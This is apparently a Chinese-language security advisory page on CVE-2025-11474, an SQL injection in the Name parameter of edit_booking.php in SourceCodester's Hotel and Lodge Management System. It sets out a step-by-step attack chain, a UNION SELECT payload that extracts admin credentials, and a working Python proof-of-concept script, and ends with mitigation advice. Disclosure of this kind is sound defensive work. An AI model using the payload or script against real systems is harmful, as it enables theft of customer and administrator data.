IPBUF安全漏洞报告
English
CVE-2025-11474 CVSS 6.3 中危

CVE-2025-11474:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11474
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11474edit_booking.php中危漏洞远程攻击数据库安全Web应用漏洞

漏洞概述

CVE-2025-11474是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个SQL注入漏洞。该漏洞存在于文件/edit_booking.php中,具体位于对参数Name的处理逻辑中。攻击者可以通过远程方式构造恶意的SQL语句注入到数据库查询中,从而实现对数据库的未授权访问和操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),表明攻击者可以在一定程度上读取、修改数据库内容,并可能对数据库服务的可用性造成影响。

值得注意的是,该漏洞的利用代码已经公开披露,攻击者可以直接使用现成的PoC进行攻击尝试。考虑到该系统通常用于管理酒店预订、客户信息等敏感业务数据,SQL注入漏洞可能导致客户个人信息、预订记录、支付数据等敏感信息泄露,对企业和用户构成严重的安全威胁。建议相关用户尽快采取防护措施。

技术细节

该漏洞的根本原因在于/edit_booking.php文件对用户输入的Name参数未进行充分的过滤和参数化处理,直接将用户输入拼接到SQL查询语句中,导致攻击者可以通过构造特殊的SQL注入payload来操纵后端数据库查询。

从技术层面分析,攻击者可以通过以下方式利用该漏洞:

1. 攻击者首先需要获取目标系统的合法低权限账户凭证(如普通用户账户),因为该漏洞的利用需要PR:L(低权限)认证要求。

2. 登录后,攻击者访问edit_booking.php页面,该页面用于编辑预订信息。攻击者在Name参数中注入恶意SQL语句,例如使用单引号闭合原始SQL语句,然后追加UNION SELECT等SQL语句来提取数据库中的敏感信息。

3. 典型的注入payload示例为:Name=Test' UNION SELECT 1,username,password,4 FROM admin-- -

4. 注入成功后,攻击者可以执行任意SQL查询,包括读取管理员凭据、修改或删除数据库记录,甚至利用数据库特性(如MySQL的LOAD_FILE()或INTO OUTFILE)执行更高级的攻击。

5. 由于该漏洞影响数据库的机密性、完整性和可用性,攻击者可能进一步利用获取的数据进行横向移动或权限提升攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别运行SourceCodester Hotel and Lodge Management System 1.0的目标系统,获取目标URL。
STEP 2
步骤2:获取凭证
攻击者通过钓鱼、凭证填充或其他方式获取目标系统的低权限用户账户凭证,因为该漏洞利用需要低权限认证。
STEP 3
步骤3:登录系统
攻击者使用获取的凭证登录系统,获取有效的会话Cookie。
STEP 4
步骤4:构造注入Payload
攻击者构造针对Name参数的SQL注入payload,例如使用UNION SELECT语句提取数据库中的敏感信息。
STEP 5
步骤5:执行注入攻击
攻击者向/edit_booking.php发送包含恶意payload的请求,触发SQL注入漏洞。
STEP 6
步骤6:数据提取与利用
攻击者从响应中提取管理员凭据或其他敏感数据,进一步利用获取的权限进行数据窃取或系统破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11474 PoC - SQL Injection in edit_booking.php (Name parameter) # Target: SourceCodester Hotel and Lodge Management System 1.0 # Vulnerability: SQL Injection via Name parameter in /edit_booking.php import requests import sys # Target configuration TARGET_URL = "http://target-host/edit_booking.php" LOGIN_URL = "http://target-host/login.php" # Credentials (low-privilege user required) USERNAME = "test_user" PASSWORD = "test_password" # SQL Injection payload - extracts admin credentials SQL_PAYLOAD = "Test' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin-- -" def exploit(): session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) print("[+] Authenticated successfully") # Step 2: Send SQL injection payload via Name parameter inject_data = { "id": "1", "Name": SQL_PAYLOAD, "submit": "Update" } response = session.post(TARGET_URL, data=inject_data) print(f"[+] Response status: {response.status_code}") # Step 3: Parse response for extracted data if "admin" in response.text.lower() or "password" in response.text.lower(): print("[+] SQL Injection successful! Extracted data found in response") # Extract sensitive data from response print(response.text) else: print("[-] No data extracted, payload may need adjustment") if __name__ == "__main__": exploit()

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,拦截针对/edit_booking.php的恶意请求;2)对Name参数实施输入验证,限制特殊字符(如单引号、分号、注释符等)的输入;3)将数据库账户权限降至最低,限制其执行敏感操作的能力;4)监控系统日志,及时发现和阻断可疑的SQL注入尝试;5)考虑临时禁用/edit_booking.php功能或限制其访问权限;6)加强用户凭证管理,防止低权限账户被攻击者获取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表